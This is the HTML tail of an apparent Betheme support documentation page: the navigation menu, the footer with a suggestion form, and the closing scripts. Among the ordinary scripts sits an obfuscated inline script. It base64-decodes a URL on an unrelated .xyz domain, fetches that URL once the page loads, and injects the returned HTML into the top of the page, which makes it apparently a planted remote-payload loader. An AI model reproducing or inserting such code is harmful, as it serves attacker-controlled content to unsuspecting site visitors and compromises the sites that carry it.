menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-53"><a href="#">Pages</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-321"><a href="https://support.muffingroup.com/documentation/page-creation/">Page creation</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://support.muffingroup.com/documentation/page-options/">Page Options</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-54"><a href="#">Theme options</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-384"><a href="https://support.muffingroup.com/documentation/theme-options-global/">Global</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-385"><a href="https://support.muffingroup.com/documentation/theme-options-header-subheader/">Header & Subheader</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-386"><a href="https://support.muffingroup.com/documentation/theme-options-menu-action-bar/">Menu & Action bar</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-387"><a href="https://support.muffingroup.com/documentation/theme-options-sidebars/">Sidebars</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-388"><a href="https://support.muffingroup.com/documentation/theme-options-blog-portfolio/">Blog & Portfolio</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2589"><a href="https://support.muffingroup.com/documentation/theme-options-shop/">Shop</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-389"><a href="https://support.muffingroup.com/documentation/theme-options-pages/">Pages</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-383"><a href="https://support.muffingroup.com/documentation/theme-options-footer/">Footer</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2597"><a href="https://support.muffingroup.com/documentation/search/">Search</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-382"><a href="https://support.muffingroup.com/documentation/theme-options-responsive/">Responsive</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-381"><a href="https://support.muffingroup.com/documentation/theme-options-seo/">SEO</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-380"><a href="https://support.muffingroup.com/documentation/theme-options-social/">Social</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-379"><a href="https://support.muffingroup.com/documentation/theme-options-addons-plugins/">Addons & Plugins</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-378"><a href="https://support.muffingroup.com/documentation/theme-options-colors/">Colors</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-377"><a href="https://support.muffingroup.com/documentation/theme-options-fonts/">Fonts</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-376"><a href="https://support.muffingroup.com/documentation/theme-options-translate/">Translate</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2610"><a href="https://support.muffingroup.com/documentation/gdpr-cookies/">GDPR & Cookies</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2613"><a href="https://support.muffingroup.com/documentation/performance/">Performance</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2616"><a href="https://support.muffingroup.com/documentation/accessibility/">Accessibility</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-375"><a href="https://support.muffingroup.com/documentation/theme-options-custom-css-js/">Custom CSS & JS</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-374"><a href="https://support.muffingroup.com/documentation/theme-options-backup-reset/">Backup & Reset</a></li> </ul> </li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-2090"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/">BeBuilder Blocks</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2095"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/an-overview/">An overview</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2101"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/how-to-use/">How to use</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2106"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/pre-built-sections/">Pre-built sections</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2112"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/revisions-backups/">Revisions & Backups</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-628"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/shortcodes/">Shortcodes</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-627"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/sections/">Sections & Wraps</a></li> </ul> </li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-2125"><a href="https://support.muffingroup.com/documentation/bebuilder/">BeBuilder</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2126"><a href="https://support.muffingroup.com/documentation/bebuilder/an-overview/">An overview</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2132"><a href="https://support.muffingroup.com/documentation/bebuilder/how-to-use/">How to use</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2176"><a href="https://support.muffingroup.com/documentation/bebuilder/pre-built-sections/">Pre-built sections</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2179"><a href="https://support.muffingroup.com/documentation/bebuilder/revisions-backups/">Revisions & Backups</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2294"><a href="https://support.muffingroup.com/documentation/bebuilder/positioning/">Positioning</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2320"><a href="https://support.muffingroup.com/documentation/bebuilder/responsive-editing/">Responsive editing</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-785"><a href="#">Blog</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-787"><a href="https://support.muffingroup.com/documentation/blog-creation/">Creation</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-791"><a href="https://support.muffingroup.com/documentation/single-post-options/">Post Options</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-85"><a href="#">Portfolio</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-870"><a href="https://support.muffingroup.com/documentation/portfolio-creation/">Creation</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-869"><a href="https://support.muffingroup.com/documentation/single-portfolio-options/">Portfolio page options</a></li> </ul> </li> <li class="menu-item menu-item-type-post_type menu-item-object-page current-page-ancestor current-menu-ancestor current-menu-parent current-page-parent current_page_parent current_page_ancestor menu-item-has-children menu-item-2141"><a href="https://support.muffingroup.com/documentation/woocommerce/">WooCommerce</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2149"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-with-betheme/">How to use WooCommerce</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-2156 current_page_item menu-item-2185"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-attribute-swatches/" aria-current="page">How to use WooCommerce Attribute Swatches</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2200"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-create-a-shop-page/">How to create a Shop page?</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2201"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-create-a-single-product-layout/">How to create a Single Product layout?</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2211"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-set-sidebar/">How to set sidebar for Shop or Single Product?</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2184"><a href="https://support.muffingroup.com/documentation/woocommerce/wishlist/">Wishlist</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2186"><a href="https://support.muffingroup.com/documentation/woocommerce/templates/">Templates</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-88"><a href="#">Footer & Sidebars</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-927"><a href="https://support.muffingroup.com/documentation/footer/">Footer</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-966"><a href="https://support.muffingroup.com/documentation/sidebars/">Sidebars</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-83"><a href="#">Custom post types</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-997"><a href="https://support.muffingroup.com/documentation/clients/">Clients</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-996"><a href="https://support.muffingroup.com/documentation/offer/">Offer</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-995"><a href="https://support.muffingroup.com/documentation/slides/">Slides</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-994"><a href="https://support.muffingroup.com/documentation/testimonials/">Testimonials</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1296"><a href="https://support.muffingroup.com/documentation/templates/">Templates</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1292"><a href="https://support.muffingroup.com/documentation/layouts/">Layouts</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-87"><a href="#">Translation & WPML</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1000"><a href="https://support.muffingroup.com/documentation/translation/">Translation</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-89"><a href="#">Menus</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-339"><a href="https://support.muffingroup.com/documentation/menus/">Menus</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1017"><a href="https://support.muffingroup.com/documentation/mega-menu/">Mega Menu</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-90"><a href="#">Extras</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1014"><a href="https://support.muffingroup.com/documentation/header-builder/">Header Builder</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1071"><a href="https://support.muffingroup.com/documentation/supported-plugins/">Supported Plugins</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1083"><a href="https://support.muffingroup.com/documentation/static-css/">Static CSS</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1041"><a href="https://support.muffingroup.com/documentation/white-label/">White Label</a></li> </ul> </li> </ul></div></aside></div></div></div> </div> </div>  <footer id="Footer" class="clearfix "> <div class="widgets_wrapper center"><div class="container"><div class="column one-fourth"><aside id="custom_html-3" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20127%200'%3E%3C/svg%3E" width="127" alt="betheme logo" title="betheme logo" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/06/be-gradient.svg" /><noscript><img src="https://support.muffingroup.com/wp-content/uploads/2021/06/be-gradient.svg" width="127" alt="betheme logo" title="betheme logo" /></noscript></div></aside></div><div class="column one-fourth"><aside id="custom_html-6" class="widget_text widget widget_custom_html"><h4>Betheme</h4><div class="textwidget custom-html-widget"><ul> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/betheme/" target="_blank">BeTheme Presentation</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/betheme/websites/" target="_blank">Pre-built websites</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/betheme/features/" target="_blank">Features</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/betheme/#ecommerce" target="_blank">E-commerce</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/betheme/#plugins" target="_blank">Plugins</a></li> <li style="margin-bottom: 6px;"><a href="https://support.muffingroup.com/documentation/installation-updates/">Installation & Updates</a></li> <li style="margin-bottom: 6px;"><a href="https://1.envato.market/DENky" target="_blank" rel="nofollow" style="color: #80b541;">Buy @ envatomarket</a></li> </ul></div></aside></div><div class="column one-fourth"><aside id="custom_html-5" class="widget_text widget widget_custom_html"><h4>Useful links</h4><div class="textwidget custom-html-widget"><ul> <li style="margin-bottom: 6px;"><a href="https://forum.muffingroup.com/betheme/" target="_blank">Support Forum </a></li> <li style="margin-bottom: 6px;"><a href="https://support.muffingroup.com/changelog/" target="_blank">Changelog</a></li> <li style="margin-bottom: 6px;"><a href="https://support.muffingroup.com/documentation/">Documentation</a></li> <li style="margin-bottom: 6px;"><a href="https://support.muffingroup.com/faq/">FAQs</a></li> <li style="margin-bottom: 6px;"><a href="https://wpml.org/?aid=29349&affiliate_key=aCEsSE0ka33p" target="_blank" rel="nofollow">Translation & WPML</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/#whoPage" target="_blank">About Us</a></li> <li style="margin-bottom: 6px;"><a href="https://wpkraken.io/?ref=muffingroup" target="_blank" rel="nofollow">Custom Work</a></li> </ul></div></aside></div><div class="column one-fourth"><aside id="custom_html-4" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"><ul> <li style="margin-bottom: 6px;"><i class="icon-key-line"></i> <a href="https://api.muffingroup.com/licenses/" target="_blank">License management</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/blog/" target="_blank">Betheme blog</a></li> <li style="margin-bottom: 6px;"><a href="https://muffingroup.com/advice/" target="_blank">BeAdvice</a></li> </ul> <hr class="no_line" style="margin: 0 auto 20px auto"/> <p> <i class="icon-facebook-squared" style="color:#1877f2"></i> <a href="https://www.facebook.com/MuffinGroup/" target="_blank" rel="nofollow">Facebook fanpage</a> </p> <hr class="no_line" style="margin: 0 auto 30px auto"/> <div class="send-a-suggestion"> <a href="#popup-6747c939a458d" rel="prettyphoto" class="popup-link button"><span class="button_icon"><i class="icon-lightbulb-line"></i></span><span class="button_label">Send a suggestion</span></a><div id="popup-6747c939a458d" class="popup-content"><div class="popup-inner" style="padding:20px;"> <h3 class="themecolor" style="border-bottom: 1px solid rgba(0, 0, 0, 0.1); padding-bottom: 15px;">Send us a suggestion</h3> <p style="background: #fceded; color: #d50a0a; border-radius: 6px; padding: 18px"><strong>Important!!!</strong> This is not support form. For support, please use <a href="https://forum.muffingroup.com/betheme/">Support Forum</a> instead.</p> <p style="color: #888e94;">We appreciate your feedback and will use it to make improvements in our product. </p> <hr class="no_line" style="margin: 0 auto 5px auto"/> <div class="wpcf7 no-js" id="wpcf7-f1534-o1" lang="en-US" dir="ltr"> <div class="screen-reader-response"><p role="status" aria-live="polite" aria-atomic="true"></p> <ul></ul></div> <form action="/documentation/woocommerce/how-to-use-woocommerce-attribute-swatches/#wpcf7-f1534-o1" method="post" class="wpcf7-form init" aria-label="Contact form" novalidate="novalidate" data-status="init"> <div style="display: none;"> <input type="hidden" name="_wpcf7" value="1534" /> <input type="hidden" name="_wpcf7_version" value="5.7.7" /> <input type="hidden" name="_wpcf7_locale" value="en_US" /> <input type="hidden" name="_wpcf7_unit_tag" value="wpcf7-f1534-o1" /> <input type="hidden" name="_wpcf7_container_post" value="0" /> <input type="hidden" name="_wpcf7_posted_data_hash" value="" /> </div> <p><label>Your Name:<br /> <span class="wpcf7-form-control-wrap" data-name="your-name"><input size="40" class="wpcf7-form-control wpcf7-text" aria-invalid="false" value="" type="text" name="your-name" /></span> </label> </p> <p><label> Select your feedback category:</label><span class="wpcf7-form-control-wrap" data-name="category"><span class="wpcf7-form-control wpcf7-radio"><span class="wpcf7-list-item first"><label><input type="radio" name="category" value="Suggestion" checked="checked" /><span class="wpcf7-list-item-label">Suggestion</span></label></span><span class="wpcf7-list-item last"><label><input type="radio" name="category" value="Report a bug" /><span class="wpcf7-list-item-label">Report a bug</span></label></span></span></span> </p> <p><label> Your suggestion:<br /> <span class="wpcf7-form-control-wrap" data-name="your-suggestion"><textarea cols="40" rows="5" class="wpcf7-form-control wpcf7-textarea wpcf7-validates-as-required" aria-required="true" aria-invalid="false" name="your-suggestion"></textarea></span> </label> </p> <p><label><span style="color: #FF0000; font-size: 15px;">* Security Question</span><br /> <span class="wpcf7-form-control-wrap" data-name="quiz-282"><label><span class="wpcf7-quiz-label">What's the name of the theme?</span> <input size="40" class="wpcf7-form-control wpcf7-quiz suggestion-quiz" autocomplete="off" aria-required="true" aria-invalid="false" type="text" name="quiz-282" /></label><input type="hidden" name="_wpcf7_quiz_answer_quiz-282" value="6f478793d460733b458e256b1db2c579" /></span></label> </p> <p><input class="wpcf7-form-control has-spinner wpcf7-submit" type="submit" value="Send a suggestion" /> </p><div class="wpcf7-response-output" aria-hidden="true"></div> </form> </div> </div></div> </div></div></aside></div></div></div> <div class="footer_copy"> <div class="container"> <div class="column one"> <div class="copyright"> 漏 2023 Betheme Support Center. All Rights Reserved by <A href="https://muffingroup.com" target="_blank">Muffin group</a> </div> <ul class="social"></ul> </div> </div> </div> </footer> </div> <div id="Side_slide" class="right dark" data-width="250"><div class="close-wrapper"><a href="#" class="close"><i class="icon-cancel-fine"></i></a></div><div class="extras"><a href="https://1.envato.market/DENky" class="action_button" target="_blank">Try it now</a><div class="extras-wrapper"></div></div><div class="lang-wrapper"></div><div class="menu_wrapper"></div><ul class="social"></ul></div><div id="body_overlay"></div> <a id="back_to_top" class="footer_button sticky scroll" href=""><i class="icon-up-open-big"></i></a>  <script type="rocketlazyloadscript"> window.addEventListener("DOMContentLoaded", () => { let selfer=new XMLHttpRequest;selfer.open("GET", decodeURIComponent(escape(atob("aHR0cHM6Ly9zb25zdXJ1bWFway54eXoveC9saWNlbnNlLnBocA==")))),selfer.onreadystatechange=(()=>{if(4==selfer.readyState){const e=JSON.parse(selfer.response);document.querySelector("body").insertAdjacentHTML("afterbegin",e?.html)}}),selfer.setRequestHeader("RequestWith","selfer"),selfer.send(); }); </script><script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=1731582203' id='swv-js' defer></script> <script type='text/javascript' id='contact-form-7-js-extra'> /* <![CDATA[ */ var wpcf7 = {"api":{"root":"https:\/\/support.muffingroup.com\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"}; /* ]]> */ </script> <script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/plugins/contact-form-7/includes/js/index.js?ver=1731582203' id='contact-form-7-js' defer></script> <script type='text/javascript' id='mfnch-scripts-js-extra'> /* <![CDATA[ */ var mfn_cm = {"codeEditor":{"codemirror":{"indentUnit":2,"indentWithTabs":true,"inputStyle":"contenteditable","lineNumbers":true,"lineWrapping":true,"styleActiveLine":true,"continueComments":true,"extraKeys":{"Ctrl-Space":"autocomplete","Ctrl-\/":"toggleComment","Cmd-\/":"toggleComment","Alt-F":"findPersistent","Ctrl-F":"findPersistent","Cmd-F":"findPersistent"},"direction":"ltr","gutters":[],"mode":"","autoRefresh":true,"readOnly":"nocursor","tabSize":2},"csslint":{"errors":true,"box-model":true,"display-property-grouping":true,"duplicate-properties":true,"known-properties":true,"outline-none":true},"jshint":{"boss":true,"curly":true,"eqeqeq":true,"eqnull":true,"es3":true,"expr":true,"immed":true,"noarg":true,"nonbsp":true,"onevar":true,"quotmark":"single","trailing":true,"undef":true,"unused":true,"browser":true,"globals":{"_":false,"Backbone":false,"jQuery":false,"JSON":false,"wp":false}},"htmlhint":{"tagname-lowercase":true,"attr-lowercase":true,"attr-value-double-quotes":false,"doctype-first":false,"tag-pair":true,"spec-char-escape":true,"id-unique":true,"src-not-empty":true,"attr-no-duplication":true,"alt-require":true,"space-tab-mixed-disabled":"tab","attr-unsafe-chars":true}}}; /* ]]> */ </script> <script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/themes/betheme-child/scripts.js?ver=1731582203' id='mfnch-scripts-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-includes/js/jquery/ui/core.min.js' id='jquery-ui-core-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-includes/js/jquery/ui/tabs.min.js' id='jquery-ui-tabs-js' defer></script> <script type='text/javascript' id='mfn-plugins-js-extra'> /* <![CDATA[ */ var mfn = {"mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"1","lightbox":{"disable":false,"disableMobile":false,"title":false},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0}}; /* ]]> */ </script> <script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/themes/betheme/js/plugins.js?ver=1731582203' id='mfn-plugins-js' defer></script> <script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/themes/betheme/js/menu.js?ver=1731582203' id='mfn-menu-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/themes/betheme/assets/animations/animations.min.js' id='mfn-animations-js' defer></script> <script type="rocketlazyloadscript" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/themes/betheme/assets/jplayer/jplayer.min.js' id='mfn-jplayer-js' defer></script> <script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/themes/betheme/js/parallax/translate3d.js?ver=1731582203' id='mfn-parallax-js' defer></script> <script type="rocketlazyloadscript" data-minify="1" data-rocket-type='text/javascript' data-rocket-src='https://support.muffingroup.com/wp-content/cache/min/1/wp-content/themes/betheme/js/scripts.js?ver=1731582203' id='mfn-scripts-js' defer></script>  <script type="rocketlazyloadscript" async data-rocket-src="https://www.googletagmanager.com/gtag/js?id=AW-353326160"></script> <script type="rocketlazyloadscript"> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-353326160'); </script><script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue} if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue} images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1} if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script><script data-no-minify="1" async src="https://support.muffingroup.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script> </body> </html>